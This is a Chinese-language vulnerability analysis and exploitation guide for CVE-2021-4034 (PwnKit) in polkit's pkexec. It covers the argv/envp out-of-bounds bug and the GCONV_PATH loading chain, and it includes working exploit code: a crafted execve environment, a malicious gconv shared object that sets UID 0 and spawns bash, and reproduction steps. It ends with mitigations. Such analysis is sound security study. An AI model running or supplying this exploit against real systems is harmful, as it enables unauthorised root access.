CVE-2021-4034 pkexec再深入分析
字数 1935 2025-08-29 08:31:35
CVE-2021-4034 (PwnKit) 漏洞深入分析与利用指南
1. 漏洞概述
CVE-2021-4034 是 polkit 的 pkexec 组件中存在的一个本地权限提升漏洞,俗称 "PwnKit"。该漏洞允许低权限用户在默认配置下提升至 root 权限。
2. 影响范围
- 影响 2021 年以前发行的所有 Linux 发行版
- 所有安装了 polkit 且 pkexec 具有 SUID 权限的系统
3. 漏洞原理分析
3.1 漏洞核心机制
漏洞利用流程可分为两个主要部分:
- 设置恶意环境变量
- 通过恶意环境变量执行任意命令
3.2 关键代码分析
在 pkexec 源码中(https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c):
- 533 行:
n被赋值为 1 - 610 行:存在越界读取问题。当执行 pkexec 时不传参数,argv 数组只有默认的 0 下标,1 是不存在的
3.3 内存布局理解
当执行一个程序时,内核会将参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾,布局如下:
|-argv[0] | argv[1]...argv[argc] | envp[0] | envp[1]...envp[envc]
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
由于 argv 和 envp 指针在内存中是连续的,argv[1] 实际上指向的是 envp[0]。通过给 argv[1] 赋值就能修改环境变量。
3.4 关键函数调用
- 632 行:调用
g_find_program_in_path函数- 根据 glib 源码,此函数用于在 PATH 中搜索传参的绝对路径
- 例如传参 "id",返回 "/usr/bin/id"
- 639 行:将返回值越界写入 argv[1](即第一个环境变量)
4. 漏洞利用详解
4.1 设置恶意环境变量
利用代码如下:
char *a_argv[] = { NULL };
char *a_envp[] = { "test", "PATH=GCONV_PATH=.", NULL };
execve("/usr/bin/pkexec", a_argv, a_envp);
操作步骤:
- 创建畸形目录:
mkdir GCONV_PATH=. - 在目录中创建 test 文件
4.2 为什么不能直接设置环境变量?
Linux 的动态连接器 ld-linux-x86-64.so.2 会在特权程序执行时清除敏感环境变量(如 LD_PRELOAD)。因此必须通过这种间接方式设置环境变量。
测试示例:
- 普通程序(无 SUID):
LD_PRELOAD=./hello.so id→ 成功输出 - pkexec(有 SUID):
LD_PRELOAD=./hello.so pkexec→ 不生效
4.3 通过环境变量执行命令
关键点:
- 670 行:用
for遍历environment_variables_to_save作 key,去环境变量中取值 - 传递给
validate_environment_variable函数检测 shell 合法性 - 通过此函数触发关键函数
g_printerr
两种触发方式:
- 设置环境变量
SHELL=test - 或设置
XAUTHORITY=..
4.4 调用链分析
g_printerr 间接调用 iconv_open 的调用链:
strdup_convert() <- glib/gmessages.c:1126
g_convert_with_fallback() <- glib/gmessages.c:676
g_convert() <- glib/gconvert.c:972
open_converter() <- glib/gconvert.c:876
g_iconv_open() <- glib/gconvert.c:637
try_conversion() <- glib/gconvert.c:260
iconv_open() <- glib/gconvert.c:208
4.5 GCONV_PATH 机制
iconv_open 会根据环境变量中的 GCONV_PATH 目录下的 gconv-modules 文件加载转换模块。
示例 gconv-modules 文件内容:
module LANYI// UTF-8// lanyi 1
表示 UTF-8 转换到 LANYI 编码需要使用 lanyi.so,数字 1 表示转换成本。
4.6 恶意 SO 文件示例
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {
return;
}
void gconv_init() {
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
static char *a_argv[] = { "bash", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/bash", a_argv, a_envp);
exit(0);
}
编译命令:
gcc -o lanyi.so -shared -fPIC lanyi.c
4.7 为什么选择 GCONV_PATH 而非 LD_PRELOAD?
LD_PRELOAD的 so 文件加载是在程序执行前,而 pkexec 已经启动后再设置无效- PHP 中
LD_PRELOAD能利用是因为:- PHP 设置了
LD_PRELOAD后,又 fork 了新进程(如使用popen) - 父进程的环境变量会被新进程继承
- 因此需要 PHP 执行
mail等能 fork 新进程的函数才可利用
- PHP 设置了
5. 漏洞复现步骤
-
准备恶意环境:
mkdir -p 'GCONV_PATH=.' touch 'GCONV_PATH=./test' chmod +x 'GCONV_PATH=./test' -
创建
gconv-modules文件:module LANYI// UTF-8// lanyi 1 -
编译并放置恶意 so 文件
-
执行利用代码
6. 修复方案
- 更新到 polkit 最新版本
- 取消 pkexec 的 SUID 权限:
chmod 0755 /usr/bin/pkexec
7. 参考资源
- polkit 源码:https://gitlab.freedesktop.org/polkit/polkit/
- glib 源码分析
- 先知社区相关技术文章
8. 扩展思考
- 其他可能存在类似越界读写问题的 SUID 程序
- Linux 环境变量安全机制的局限性
- 特权程序的安全编程实践